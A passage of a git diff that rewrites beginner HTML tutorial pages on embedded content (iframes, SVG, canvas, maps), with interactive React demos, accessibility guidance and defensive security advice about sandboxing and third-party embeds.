+- **Never put user input straight into `src` or `srcdoc`.** A visitor could point your frame at a harmful address, or inject markup. Use an allow-list of addresses, and build `srcdoc` only from trusted text.
+- **Defend your own pages** with `frame-ancestors` (or `X-Frame-Options`) so no one can frame them for clickjacking.
+- **Check `event.origin`** on every `postMessage`.
+- **Ask for consent** before loading trackers, in places where the law requires it. Click-to-load helps.
+- **Never put secrets,** such as API keys, in a frame's address or in `srcdoc`.
+- The full set of defences is in [Third-Party Content Security](./third-party-content-security).
+
+## Global Audience Notes
+
+- **Frames are heavy for slow or metered connections.** Use lazy loading and click-to-load.
+- **Some services are blocked or slow in some countries.** Always offer a plain link or a text alternative.
+- **Check that the embedded content supports your visitors' languages,** and pass a language where the service allows it (many embeds take a parameter such as `hl` or `lang`).
+- **Right-to-left pages:** check that the framed content mirrors correctly, and use logical CSS properties around it.
+- **Privacy and cookie laws differ** by region. Load third-party frames only after consent where it is required.
+- **Do not assume a fixed width.** Phones in many regions are small, and zoom is common.
+
+## Common Mistakes to Avoid
+
+1. **No `title`.**
+2. **No size or `aspect-ratio`,** so the page jumps, or the frame is tiny.
+3. **No `loading="lazy"`** on frames below the fold.
+4. **No `sandbox`** on content you do not control.
+5. **`allow-scripts` and `allow-same-origin` together** on your own content.
+6. **Granting `allow` permissions** the embed does not need.
+7. **Using `http://` addresses.**
+8. **Trying to embed a site that forbids framing,** and not providing a fallback link.
+9. **Trusting any `postMessage` without checking `event.origin`.**
+10. **Building `src` from user input.**
+11. **Nested frames,** and scroll bars inside scroll bars.
+12. **Putting the only copy of important information** inside a third-party frame.
+
+## Practice Time
+
+Try these in your editor:
+
+1. Embed a small page with `srcdoc`, and give the frame a `title`.
+2. Add `sandbox` (empty), and put a `script` in the page. See that it does not run.
+3. Add `allow-scripts`, and see that it runs.
+4. Add `allow-same-origin`, and read the parent's title from the framed script. Then remove it again.
+5. Give the frame an `aspect-ratio`, and resize your window.
+6. Add `loading="lazy"`, and check the network panel while scrolling.
+7. Build a click-to-load button that creates the frame.
+8. Try to embed a site that forbids framing, and read the console error.
+9. Send a `postMessage` from the frame to the parent, and check `event.origin`.
+10. Bonus: use the builder above to produce the tag for a trusted widget, and compare it with what you wrote by hand.
+
+## Try It: Build a Safe Frame
+
+Fill in the details, and the tool writes the tag and checks it.
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<iframe
+  src="https://maps.example.com/embed?q=Town+Hall"
+  title="Map of the Town Hall"
+  style="width:100%;aspect-ratio:16 / 9;border:0"
+  loading="lazy"
+  sandbox="allow-scripts allow-same-origin allow-forms allow-popups"
+  referrerpolicy="strict-origin-when-cross-origin"
+></iframe>
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<EmbedBuilder />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+<AdsComponent />
+<br />
+
+## Quick Recap
+
+Click a question to check your answer.
+
+<details>
+<summary>1. What does an `iframe` do?</summary>
+
+It shows a whole other web page inside your page, with its own document, styles, and scripts.
+
+</details>
+
+<details>
+<summary>2. Why must every `iframe` have a `title`?</summary>
+
+Screen readers list frames by name. Without a title, the frame is announced only as "frame", and users cannot tell what it holds.
+
+</details>
+
+<details>
+<summary>3. What does an empty `sandbox` attribute do?</summary>
+
+It locks the framed page down: no scripts, forms, pop-ups, storage, or access to your page. You then add back only the permissions it needs.
+
+</details>
+
+<details>
+<summary>4. Why is `allow-scripts` plus `allow-same-origin` dangerous?</summary>
+
+On a page from your own origin, the page can reach into its parent and remove its own `sandbox` attribute, so the sandbox protects nothing. Use both only for content from a different origin that you trust.
+
+</details>
+
+<details>
+<summary>5. Why does a site sometimes show "refused to connect" in a frame?</summary>
+
+The site sends `X-Frame-Options` or a `frame-ancestors` policy that forbids being framed, to prevent clickjacking. You cannot override it. Use the site's official embed, or link to it.
+
+</details>
+
+<details>
+<summary>6. How can a page and a cross-origin frame communicate safely?</summary>
+
+With `postMessage`. Always name the target origin when sending, and always check `event.origin` when receiving.
+
+</details>
+
+## Key Takeaways
+
+- `<iframe>` shows **another page inside yours**, with its own document, styles, and scripts.
+- Always give it a **`title`**, a **size or `aspect-ratio`**, and usually **`loading="lazy"`**.
+- Use **`sandbox`** for anything you do not control, and give back only what it needs.
+- Never combine `allow-scripts` and `allow-same-origin` on content from your **own** origin.
+- Grant `allow` permissions sparingly, and limit what the other site learns with `referrerpolicy`.
+- Some sites **forbid framing**. Use their official embed or a link, and protect your own pages with `frame-ancestors`.
+- Use `postMessage` with origin checks to talk to frames.
+- Give important information a **text version**, load heavy frames on click, and plan for slow connections and blocked services.
+
+Next, learn about an older embedding element in [Embed](./embed), or return to the [Embedded Content overview](../embedded-content).
\ No newline at end of file
diff --git a/tutorials/html/11-embedded-content/index.mdx b/tutorials/html/11-embedded-content/index.mdx
index 0c526e753..163511a28 100644
--- a/tutorials/html/11-embedded-content/index.mdx
+++ b/tutorials/html/11-embedded-content/index.mdx
@@ -1,15 +1,367 @@
 ---
 id: embedded-content-overview
-title: "Working with Embedded Content in HTML"
+title: "HTML Embedded Content"
 sidebar_label: "Embedded Content"
 sidebar_position: 1
 slug: /html/embedded-content
-description: "Master embedded content in HTML5, including inline frames, external objects, dynamic graphics, vector artwork, and third-party security with CodeHarborHub."
+description: "Start learning HTML embedded content: iframe, embed, object, SVG, canvas, and maps. See what each element is for, how they differ, how to choose between them, and why third-party content needs security care, with a live sampler of four embedding methods."
 keywords:
-  - HTML embedded content overview
-  - HTML embedded elements
-  - external media HTML
-  - web embedding tutorial
+  - HTML embedded content
+  - iframe embed object difference
+  - HTML SVG canvas difference
+  - embed map in HTML
+  - embed YouTube iframe
+  - third party content security
+  - iframe sandbox
+  - inline SVG vs canvas
+  - HTML5 embedding elements
+  - learn HTML
   - CodeHarborHub HTML
-tags: [html, embedded-content, media, beginner]
----
\ No newline at end of file
+tags: [html, web-development, beginner, embedded-content, iframe, svg, canvas, security, frontend]
+---
+
+import {useEffect, useRef, useState} from 'react';
+
+export function SamplerDemo() {
+  const [kind, setKind] = useState("iframe");
+  const canvasRef = useRef(null);
+  const svgMarkup = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80"><rect width="200" height="80" rx="8" fill="#fef9c3"/><circle cx="40" cy="40" r="24" fill="#f97316"/><text x="80" y="46" font-family="sans-serif" font-size="16" fill="#0f172a">I am an SVG</text></svg>';
+  const objectUri = "data:image/svg+xml," + encodeURIComponent(svgMarkup);
+  const framePage = "<!doctype html><html><body style='font-family:sans-serif;margin:0;padding:1rem;background:#e0f2fe;color:#0f172a'><h3 style='margin:0 0 .3rem'>I am another page</h3><p style='margin:0'>I live inside an iframe, with my own document.</p></body></html>";
+  useEffect(() => {
+    if (kind !== "canvas" || !canvasRef.current) return;
+    const context = canvasRef.current.getContext("2d");
+    context.fillStyle = "#dcfce7";
+    context.fillRect(0, 0, 200, 80);
+    context.fillStyle = "#16a34a";
+    context.beginPath();
+    context.arc(40, 40, 24, 0, Math.PI * 2);
+    context.fill();
+    context.fillStyle = "#0f172a";
+    context.font = "16px sans-serif";
+    context.fillText("I am a canvas", 80, 46);
+  }, [kind]);
+  const options = [
+    {key: "iframe", label: "iframe"},
+    {key: "object", label: "object"},
+    {key: "svg", label: "inline SVG"},
+    {key: "canvas", label: "canvas"},
+  ];
+  const facts = {
+    iframe: [
+      ["Has its own document?", "Yes: a whole separate page"],
+      ["Can your CSS and scripts reach inside?", "No, when it comes from another site"],
+      ["Text and links readable by assistive technology?", "Yes, inside the frame. The frame needs a title"],
+      ["Best for", "Other pages, video players, maps, widgets"],
+      ["Main risk", "You are showing someone else's page and code"],
+    ],
+    object: [
+      ["Has its own document?", "Yes, for SVG, HTML and PDF files"],
+      ["Can your CSS and scripts reach inside?", "No for the inner document, though the object box itself can be styled"],
+      ["Text and links readable by assistive technology?", "Yes, inside it. Give the object a label"],
+      ["Best for", "Older uses such as PDFs, and SVG with a fallback"],
+      ["Main risk", "Behaviour is less consistent than iframe, and plug-ins are gone"],
+    ],
+    svg: [
+      ["Has its own document?", "No: it is part of your page"],
+      ["Can your CSS and scripts reach inside?", "Yes, every shape is an element"],
+      ["Text and links readable by assistive technology?", "Yes, with title and desc"],
+      ["Best for", "Icons, logos, charts, diagrams, illustrations"],
+      ["Main risk", "Very complex drawings get heavy"],
+    ],
+    canvas: [
+      ["Has its own document?", "No: it is one element with a bitmap"],
+      ["Can your CSS and scripts reach inside?", "You draw into it with script, but there are no shapes to select afterwards"],
+      ["Text and links readable by assistive technology?", "No, unless you provide fallback content and your own text alternative"],
+      ["Best for", "Games, animation, image effects, fast drawing"],
+      ["Main risk", "Inaccessible by default"],
+    ],
+  };
+  return (
+    <div>
+      <fieldset style={{margin: "0 0 0.6rem"}}>
+        <legend>Pick an embedding method</legend>
+        {options.map((item) => (
+          <label key={item.key} style={{display: "inline-block", marginRight: "1rem"}}>
+            <input type="radio" name="sampler-kind" checked={kind === item.key} onChange={() => setKind(item.key)} /> {item.label}
+          </label>
+        ))}
+      </fieldset>
+      <div style={{marginBottom: "0.6rem"}}>
+        {kind === "iframe" && (
+          <iframe title="A tiny embedded page" sandbox="" srcDoc={framePage} style={{width: "100%", maxWidth: "26rem", height: "7rem", border: "1px solid #94a3b8"}} />
+        )}
+        {kind === "object" && (
+          <object data={objectUri} type="image/svg+xml" width="200" height="80" aria-label="An orange circle and the words I am an SVG">
+            Your browser could not show this graphic.
+          </object>
+        )}
+        {kind === "svg" && (
+          <svg viewBox="0 0 200 80" width="200" height="80" role="img" aria-labelledby="sampler-svg-title">
+            <title id="sampler-svg-title">An orange circle and the words I am an SVG</title>
+            <rect width="200" height="80" rx="8" fill="#fef9c3" />
+            <circle cx="40" cy="40" r="24" fill="#f97316" />
+            <text x="80" y="46" fontFamily="sans-serif" fontSize="16" fill="#0f172a">I am an SVG</text>
+          </svg>
+        )}
+        {kind === "canvas" && (
+          <canvas ref={canvasRef} width="200" height="80" role="img" aria-label="A green circle and the words I am a canvas">
+            A green circle and the words I am a canvas.
+          </canvas>
+        )}
+      </div>
+      <table>
+        <caption>{options.find((item) => item.key === kind).label}: key facts</caption>
+        <tbody>
+          {facts[kind].map((row) => (
+            <tr key={row[0]}><th scope="row" style={{textAlign: "start"}}>{row[0]}</th><td>{row[1]}</td></tr>
+          ))}
+        </tbody>
+      </table>
+      <p style={{margin: "0.5rem 0 0", fontSize: "0.9em", color: "#64748b"}}>
+        All four are real elements on this page. The iframe uses <code>srcdoc</code> and an empty <code>sandbox</code>, so the page inside it cannot run scripts.
+      </p>
+    </div>
+  );
+}
+
+export function ChooserDemo() {
+  const [need, setNeed] = useState("page");
+  const choices = [
+    {key: "page", label: "Show another web page, a video player, or a widget", tag: "iframe", lesson: "Iframe", code: '<iframe src="https://example.com/embed"\n        title="Describe the content"\n        loading="lazy"\n        sandbox="allow-scripts allow-same-origin"></iframe>'},
+    {key: "map", label: "Show a map with a location", tag: "iframe", lesson: "Maps", code: '<iframe src="https://maps.example.com/embed?q=Town+Hall"\n        title="Map of the Town Hall"\n        loading="lazy"></iframe>'},
+    {key: "pdf", label: "Show a PDF or an older kind of file inline", tag: "object", lesson: "Object", code: '<object data="guide.pdf" type="application/pdf" width="600" height="400">\n  <a href="guide.pdf">Download the guide (PDF)</a>\n</object>'},
+    {key: "plain", label: "Embed a resource and keep it simple", tag: "embed", lesson: "Embed", code: '<embed src="diagram.svg" type="image/svg+xml" width="300" height="200">'},
+    {key: "graphic", label: "Draw an icon, a logo, a chart, or a diagram", tag: "svg", lesson: "SVG", code: '<svg viewBox="0 0 100 100" role="img" aria-labelledby="t">\n  <title id="t">A blue circle</title>\n  <circle cx="50" cy="50" r="40" fill="#2563eb"/>\n</svg>'},
+    {key: "pixels", label: "Make a game, an animation, or an image effect", tag: "canvas", lesson: "Canvas", code: '<canvas id="stage" width="400" height="300">\n  A description of what the canvas shows.\n</canvas>'},
+  ];
+  const current = choices.find((item) => item.key === need);
+  return (
+    <div>
+      <fieldset style={{margin: "0 0 0.6rem"}}>
+        <legend>What do you want to put on the page?</legend>
+        {choices.map((item) => (
+          <p key={item.key} style={{margin: "0.2rem 0"}}>
+            <label><input type="radio" name="chooser-need" checked={need === item.key} onChange={() => setNeed(item.key)} /> {item.label}</label>
+          </p>
+        ))}
+      </fieldset>
+      <p role="status" style={{margin: "0 0 0.3rem"}}>
+        Reach for <strong>{current.tag}</strong>. Learn it in the <strong>{current.lesson}</strong> lesson.
+      </p>
+      <pre style={{margin: 0, whiteSpace: "pre-wrap", fontSize: "0.85em"}}><code>{current.code}</code></pre>
+    </div>
+  );
+}
+
+Most of a web page is your own text, images, and links. But a lot of the best parts of the web are **made by someone else, or made differently**: a map of your shop, a video player, a payment form, a live chart, a game, a PDF guide, a drawn diagram.
+
+**Embedded content** is any such content that you place inside your page. HTML gives you a few elements for it, and each one has a different job, a different level of trust, and different effects on speed, accessibility, and security.
+
+<AdsComponent />
+<br />
+
+## What You Will Learn in This Section
+
+- Showing another page inside yours with `<iframe>`
+- Where `<embed>` and `<object>` fit today
+- Drawing sharp, scalable graphics with **SVG**
+- Drawing pixels with **canvas**
+- Adding **maps** to a page
+- Keeping your visitors safe when you embed **third-party content**
+
+## The Big Idea
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<!-- Another page, inside yours -->
+<iframe src="https://example.com/widget" title="Booking widget" loading="lazy"></iframe>
+
+<!-- A graphic that is part of your page -->
+<svg viewBox="0 0 100 100" role="img" aria-labelledby="t">
+  <title id="t">A blue circle</title>
+  <circle cx="50" cy="50" r="40" fill="#2563eb"/>
+</svg>
+
+<!-- A drawing surface for scripts -->
+<canvas id="stage" width="400" height="300">A short description.</canvas>
+
+<!-- An older way to embed a file -->
+<object data="guide.pdf" type="application/pdf" width="600" height="400">
+  <a href="guide.pdf">Download the guide (PDF)</a>
+</object>
+```
+
+</TabItem>
+<TabItem value="output" label="Try Four Methods">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<SamplerDemo />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+Pick each method above, and read the table underneath. The most important difference is the first row: **does the content have its own separate document?**
+
+- A **separate document** (iframe, object) works like a window onto another page. It keeps its own styles and scripts, and you cannot easily reach inside it. That makes it good for isolation, and a risk if you do not trust it.
+- Content that is **part of your page** (inline SVG, canvas) is yours to style and script, but it is also yours to make accessible.
+
+## Which Element Should I Use?
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<!-- A map, a player, a widget -->
+<iframe src="…" title="…" loading="lazy"></iframe>
+
+<!-- An icon or diagram -->
+<svg viewBox="0 0 24 24" role="img" aria-labelledby="t">…</svg>
+
+<!-- A game or image effect -->
+<canvas width="400" height="300">…</canvas>
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<ChooserDemo />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+## What Is in This Section
+
+<DocCardList />
+
+## Good Habits from the Start
+
+Four ideas that return in every lesson:
+
+1. **Give it a name.** An `iframe` needs a `title`, an `svg` needs a `title`, and a `canvas` needs fallback text or a label. Unnamed embeds are invisible to assistive technology.
+2. **Give it a shape.** Set a size or `aspect-ratio`, so the page does not jump while the content loads.
+3. **Load it lazily.** Embeds are heavy. Use `loading="lazy"` on iframes, and do not load what nobody has asked for.
+4. **Trust no one by default.** Content from another site can run code, set cookies, and track your visitors. Restrict what it may do.
+
+:::warning An embed is a promise
+When you embed someone else's page, **your visitors cannot tell where your page ends and theirs begins.** If that page is hacked, changed, or tracks people, it looks like it comes from you. Embed only what you trust, and limit what it can do. The last lesson in this section is all about this.
+:::
+
+## Accessibility at a Glance
+
+- **Title every `iframe`,** and give SVG and canvas a text alternative.
+- **Keep keyboard users able to get in and out** of every embedded player. Never trap the keyboard.
+- **Provide a link or text version** for important content: a map's address, a chart's data table, a PDF's download link.
+- **Do not rely on a picture of text** inside an embed.
+- **Make embeds work at 200% zoom** and on narrow screens.
+- **Avoid embeds that autoplay** or flash.
+
+## Security and Privacy Notes
+
+- **Embedded third-party content can track visitors,** even before they click on it. Load it after consent where the law requires it.
+- **Use `sandbox`** to remove permissions you do not need, and `referrerpolicy` to limit what the other site learns.
+- **Use HTTPS** for everything you embed.
+- **Do not let visitors choose the address** an `iframe` loads, without checking it against an allow-list.
+- **Remember your own page can be framed by others.** Use `Content-Security-Policy: frame-ancestors` to control that.
+- **Do not put secrets in the page source,** including the source of embeds, maps, and SVG.
+
+## Global Audience Notes
+
+- **Embeds are heavy for slow and metered connections.** Use lazy loading, and a lightweight **click-to-load** placeholder for big players and maps.
+- **Some services are blocked in some countries,** or slow there. Offer a plain link or text alternative as a fallback.
+- **Check the language of embedded content** and whether it supports your visitors' languages.
+- **Use logical CSS properties** and test right-to-left pages for embedded widgets.
+- **Cookie and privacy laws differ** by region. A consent pattern that works in one country may not be enough in another.
+
+## Common Mistakes to Avoid
+
+1. **An `iframe` with no `title`.**
+2. **No size or aspect ratio,** so the page jumps.
+3. **Loading every embed immediately,** so the page is slow.
+4. **Embedding a page you do not trust,** with no `sandbox`.
+5. **A canvas with nothing for screen readers.**
+6. **An SVG with no title,** when it carries meaning.
+7. **Using `embed` or `object` for things an `iframe` or `img` does better.**
+8. **Embedding content that cannot be reached by keyboard.**
+9. **Giving the only copy of important information to a third party** (a map with no address in text).
+10. **Forgetting HTTPS,** so the embed is blocked.
+11. **Forgetting that the embed can see and set cookies.**
+12. **No fallback** when the embed fails to load.
+
+## Practice Time
+
+Try these in your editor:
+
+1. Add an `iframe` with a `srcdoc` page and a `title`.
+2. Add `sandbox=""` to it, and see what stops working.
+3. Add a small inline SVG with a `title`.
+4. Draw a rectangle on a `canvas`, with fallback text inside it.
+5. Put a PDF in an `object`, with a download link as a fallback.
+6. Give the iframe a fixed `aspect-ratio`, and check that the page does not jump.
+7. Add `loading="lazy"`, and see when the file is requested.
+8. Tab through the page, and check that you can get past every embed.
+9. Turn off images and scripts, and see what each embed leaves behind.
+10. Bonus: list every third-party host your own site loads from, and ask whether you need each one.
+
+<AdsComponent />
+<br />
+
+## Quick Recap
+
+Click a question to check your answer.
+
+<details>
+<summary>1. What is embedded content?</summary>
+
+Content placed inside your page that is made by someone else, or in another format: pages, players, maps, PDFs, drawings, and canvases.
+
+</details>
+
+<details>
+<summary>2. What is the main difference between an `iframe` and an inline SVG?</summary>
+
+An `iframe` is a separate document with its own styles and scripts, so it is isolated from your page. Inline SVG is part of your page, so your CSS and scripts can reach every shape.
+
+</details>
+
+<details>
+<summary>3. Which element suits a game or image effect?</summary>
+
+`canvas`, because you draw pixels with JavaScript. It is not accessible by default, so you must add fallback content and your own text alternative.
+
+</details>
+
+<details>
+<summary>4. Why give every embed a name?</summary>
+
+Assistive technology lists embeds by name. A frame with no `title`, or an SVG or canvas with no text alternative, is just an unnamed object, so users cannot tell what it is.
+
+</details>
+
+<details>
+<summary>5. Why is third-party content a security concern?</summary>
+
+It runs code from someone else on your visitors' devices, can set cookies, and can track them, yet it looks like part of your site. Restrict it with `sandbox`, limit what it learns, and ask for consent where needed.
+
+</details>
+
+## Key Takeaways
+
+- **Embedded content** brings pages, players, maps, files, and drawings into your page.
+- **`iframe`** embeds other pages, **`object` and `embed`** are older ways to embed files, **SVG** draws scalable graphics, and **canvas** draws pixels with script.
+- Separate documents are **isolated**, and part-of-page content is **yours to make accessible**.
+- Always **name, size, and lazy-load** your embeds.
+- **Never trust embedded content by default.** Use `sandbox`, HTTPS, and limits, and plan for failure.
+- Give important information a **text version**: an address, a data table, or a download link.
+- Plan for slow connections, blocked services, many languages, and different privacy laws.
+
+Ready to start? Begin with [Iframe](./embedded-content/iframe), the most common way to embed content.
\ No newline at end of file
diff --git a/tutorials/html/11-embedded-content/maps.mdx b/tutorials/html/11-embedded-content/maps.mdx
index 657519a0a..2f9df02ef 100644
--- a/tutorials/html/11-embedded-content/maps.mdx
+++ b/tutorials/html/11-embedded-content/maps.mdx
@@ -1,15 +1,442 @@
 ---
-id: maps
-title: "Embedding Interactive Maps: Google Maps and OpenStreetMap"
-sidebar_label: "Embedding Maps"
+id: html-maps
+title: "HTML Maps"
+sidebar_label: "Maps"
 sidebar_position: 7
 slug: /html/embedded-content/maps
-description: "Learn best practices for embedding responsive, interactive geographic maps using iframe endpoints from Google Maps and OpenStreetMap."
+description: "Learn how to add maps to an HTML page: map links, static images, iframe embeds and interactive libraries, building an OpenStreetMap embed from coordinates, click-to-load for privacy, text alternatives with address and directions, keys and terms, accessibility, responsive sizing, and common mistakes, with live demos."
 keywords:
-  - embed Google Maps HTML
-  - OpenStreetMap integration
-  - responsive map embed
-  - interactive map HTML
+  - HTML map embed
+  - embed OpenStreetMap iframe
+  - embed Google Maps iframe
+  - map link geo URI
+  - accessible map HTML
+  - click to load map privacy
+  - map iframe responsive
+  - address element map
+  - latitude longitude bbox
+  - map API key restrictions
+  - learn HTML
   - CodeHarborHub HTML
-tags: [html, maps, embedded-content, responsive]
----
\ No newline at end of file
+tags: [html, web-development, beginner, maps, iframe, embedded-content, privacy, accessibility, frontend]
+---
+
+import {useState} from 'react';
+
+export function MapBuilder() {
+  const [lat, setLat] = useState("28.6139");
+  const [lon, setLon] = useState("77.2090");
+  const [zoom, setZoom] = useState(15);
+  const [label, setLabel] = useState("Example Café");
+  const [loaded, setLoaded] = useState(false);
+  const latN = Number(lat);
+  const lonN = Number(lon);
+  const valid = lat.trim() !== "" && lon.trim() !== "" && isFinite(latN) && isFinite(lonN) && Math.abs(latN) <= 90 && Math.abs(lonN) <= 180;
+  let message = "";
+  if (!valid) message = "Latitude must be between -90 and 90, and longitude between -180 and 180. Use a dot for decimals, with no commas.";
+  const lonSpan = (360 / Math.pow(2, zoom)) * (600 / 256);
+  const latSpan = (360 / Math.pow(2, zoom)) * (400 / 256) * Math.cos((latN * Math.PI) / 180);
+  const fix = (value) => value.toFixed(5);
+  const bbox = valid ? [fix(lonN - lonSpan / 2), fix(latN - latSpan / 2), fix(lonN + lonSpan / 2), fix(latN + latSpan / 2)] : [];
+  const src = valid ? "https://www.openstreetmap.org/export/embed.html?bbox=" + bbox.join("%2C") + "&layer=mapnik&marker=" + fix(latN) + "%2C" + fix(lonN) : "";
+  const links = valid ? [
+    {name: "OpenStreetMap", href: "https://www.openstreetmap.org/?mlat=" + latN + "&mlon=" + lonN + "#map=" + zoom + "/" + latN + "/" + lonN},
+    {name: "Google Maps", href: "https://www.google.com/maps/search/?api=1&query=" + latN + "%2C" + lonN},
+    {name: "Apple Maps", href: "https://maps.apple.com/?ll=" + latN + "%2C" + lonN + "&q=" + encodeURIComponent(label)},
+    {name: "Phone map app (geo link)", href: "geo:" + latN + "," + lonN + "?q=" + latN + "," + lonN + "(" + encodeURIComponent(label) + ")"},
+  ] : [];
+  const code = valid
+    ? '<iframe\n  title="Map of ' + label + '"\n  src="' + src + '"\n  loading="lazy"\n  referrerpolicy="strict-origin-when-cross-origin"\n  style="width:100%;aspect-ratio:3 / 2;border:0"></iframe>\n\n<p><a href="' + links[0].href + '">Open the map in a new tab</a></p>'
+    : "";
+  return (
+    <div>
+      <form onSubmit={(event) => event.preventDefault()}>
+        <p style={{display: "flex", gap: "1rem", flexWrap: "wrap", margin: "0 0 0.5rem"}}>
+          <label>Latitude <input type="text" inputMode="decimal" value={lat} onChange={(event) => { setLat(event.target.value); setLoaded(false); }} style={{width: "8rem"}} /></label>
+          <label>Longitude <input type="text" inputMode="decimal" value={lon} onChange={(event) => { setLon(event.target.value); setLoaded(false); }} style={{width: "8rem"}} /></label>
+          <label>Zoom <input type="range" min="3" max="18" value={zoom} onChange={(event) => { setZoom(Number(event.target.value)); setLoaded(false); }} aria-valuetext={"zoom level " + zoom} /> {zoom}</label>
+        </p>
+        <p style={{margin: "0 0 0.5rem"}}>
+          <label>Place name <input type="text" value={label} onChange={(event) => setLabel(event.target.value)} style={{width: "14rem", maxWidth: "100%"}} /></label>
+        </p>
+      </form>
+      <p role="status" style={{margin: "0 0 0.5rem", color: "#b91c1c"}}>{message}</p>
+      {valid && (
+        <div>
+          <div style={{width: "100%", maxWidth: "36rem", aspectRatio: "3 / 2", border: "1px solid #94a3b8", borderRadius: "6px", overflow: "hidden", background: "#e2e8f0", display: "grid", placeItems: "center"}}>
+            {loaded ? (
+              <iframe
+                title={"Map of " + label}
+                src={src}
+                loading="lazy"
+                referrerPolicy="strict-origin-when-cross-origin"
+                style={{width: "100%", height: "100%", border: 0}}
+              />
+            ) : (
+              <div style={{textAlign: "center", padding: "1rem"}}>
+                <p style={{margin: "0 0 0.5rem"}}>The map is not loaded yet, so nothing has been sent to the map provider.</p>
+                <button type="button" onClick={() => setLoaded(true)}>Load the map (contacts openstreetmap.org)</button>
+              </div>
+            )}
+          </div>
+          <p style={{margin: "0.6rem 0 0.3rem"}}><strong>Links to the same place:</strong></p>
+          <ul style={{margin: 0, paddingLeft: "1.25rem"}}>
+            {links.map((item) => (
+              <li key={item.name}><a href={item.href} target="_blank" rel="noopener noreferrer">{item.name}</a></li>
+            ))}
+          </ul>
+          <pre style={{margin: "0.6rem 0 0", whiteSpace: "pre-wrap", fontSize: "0.85em"}}><code>{code}</code></pre>
+        </div>
+      )}
+      <p style={{margin: "0.5rem 0 0", fontSize: "0.9em", color: "#64748b"}}>
+        The area shown is calculated approximately from the zoom level. The map loads only after you press the button, which is the privacy-friendly pattern covered below.
+      </p>
+    </div>
+  );
+}
+
+export function FailureDemo() {
+  const [blocked, setBlocked] = useState(false);
+  const [withText, setWithText] = useState(true);
+  return (
+    <div>
+      <p style={{display: "flex", gap: "1.5rem", flexWrap: "wrap", margin: "0 0 0.6rem"}}>
+        <label><input type="checkbox" checked={blocked} onChange={(event) => setBlocked(event.target.checked)} /> Pretend the map cannot load (offline, blocked, or a privacy tool)</label>
+        <label><input type="checkbox" checked={withText} onChange={(event) => setWithText(event.target.checked)} /> Provide a text alternative</label>
+      </p>
+      <section aria-labelledby="fd-title" style={{border: "1px solid #cbd5e1", borderRadius: "8px", padding: "0.75rem"}}>
+        <h4 id="fd-title" style={{margin: "0 0 0.5rem"}}>Find us</h4>
+        <div
+          aria-hidden="true"
+          style={{aspectRatio: "3 / 1", maxWidth: "30rem", borderRadius: "6px", display: "grid", placeItems: "center", background: blocked ? "repeating-linear-gradient(45deg,#e2e8f0,#e2e8f0 10px,#f1f5f9 10px,#f1f5f9 20px)" : "linear-gradient(135deg,#bbf7d0,#bae6fd)", color: "#0f172a", fontSize: "0.9em"}}
+        >
+          {blocked ? "(the map did not load)" : "(the map would be here)"}
+        </div>
+        {withText ? (
+          <div style={{marginTop: "0.6rem"}}>
+            <address style={{fontStyle: "normal", margin: "0 0 0.4rem"}}>
+              Example Café<br />
+              12 Garden Road, Example Town 110001
+            </address>
+            <ul style={{margin: 0, paddingLeft: "1.25rem"}}>
+              <li><strong>By bus:</strong> routes 14 and 22 stop outside, at Garden Road.</li>
+              <li><strong>On foot:</strong> 5 minutes from the main station. Leave by the north exit and turn left.</li>
+              <li><strong>Step-free:</strong> level entrance on the side street.</li>
+              <li><a href="#map" onClick={(event) => event.preventDefault()}>Open in your map app</a></li>
+            </ul>
+          </div>
+        ) : (
+          <p style={{margin: "0.6rem 0 0", color: "#b91c1c"}}>
+            There is no address and no directions in the page. If the map is missing, or cannot be used, the visitor has no way to find the place.
+          </p>
+        )}
+      </section>
+      <p role="status" style={{margin: "0.5rem 0 0"}}>
+        {blocked && !withText ? "The visitor sees nothing useful." : withText ? "Whatever happens to the map, the visitor can still find you." : "The map works, but only for people who can see and use it."}
+      </p>
+    </div>
+  );
+}
+
+A map answers the question every visitor to a shop, school, clinic, or event asks first: **where is it?** HTML has no `<map>` element for geography (the `<map>` element is for clickable image regions, which is a different thing). So adding a map means using the tools you have already met: **links, images, and iframes**, plus, for advanced needs, a mapping library.
+
+This lesson shows the options, how to build an embed, and, more importantly, how to make sure the visitor can find you even if the map cannot be used, or should not be loaded.
+
+<AdsComponent />
+<br />
+
+## What You Will Learn
+
+- Four ways to show a place: a link, a static image, an embedded map, and an interactive library
+- Building a map embed from coordinates
+- Click-to-load maps, for privacy and speed
+- Always giving a text alternative: address and directions
+- Keys, terms, and attribution
+- Accessibility, responsive sizing, and common mistakes
+
+## Four Ways to Show a Place
+
+| Way | What it is | Good for | Costs |
+| :-- | :-- | :-- | :-- |
+| **A link** | A link that opens a map app or site | Everything. The simplest and most reliable | Nothing to load |
+| **A static image** | A picture of a map, with `alt` text | A small, fast, fixed view | Needs an image source, often with a key and usage limits |
+| **An iframe embed** | A live map from a provider, in a frame | A place visitors can pan and zoom | Third-party code, tracking, and weight |
+| **A map library** | Your own JavaScript map (such as Leaflet or MapLibre) with map tiles | Many markers, custom layers, your own data | More code, tile terms, and accessibility work |
+
+Start from the **top of the table** and go down only as far as you need. Most "Contact us" pages only need a link and an address, and perhaps one embedded map.
+
+## The Basics: A Map with a Text Alternative
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<section aria-labelledby="find-title">
+  <h2 id="find-title">Find us</h2>
+
+  <iframe
+    title="Map of Example Café"
+    src="https://www.openstreetmap.org/export/embed.html?bbox=77.2040%2C28.6100%2C77.2140%2C28.6170&layer=mapnik&marker=28.6139%2C77.2090"
+    loading="lazy"
+    referrerpolicy="strict-origin-when-cross-origin"
+    style="width:100%;aspect-ratio:3 / 2;border:0"
+  ></iframe>
+
+  <address>
+    Example Café<br>
+    12 Garden Road, Example Town 110001
+  </address>
+
+  <ul>
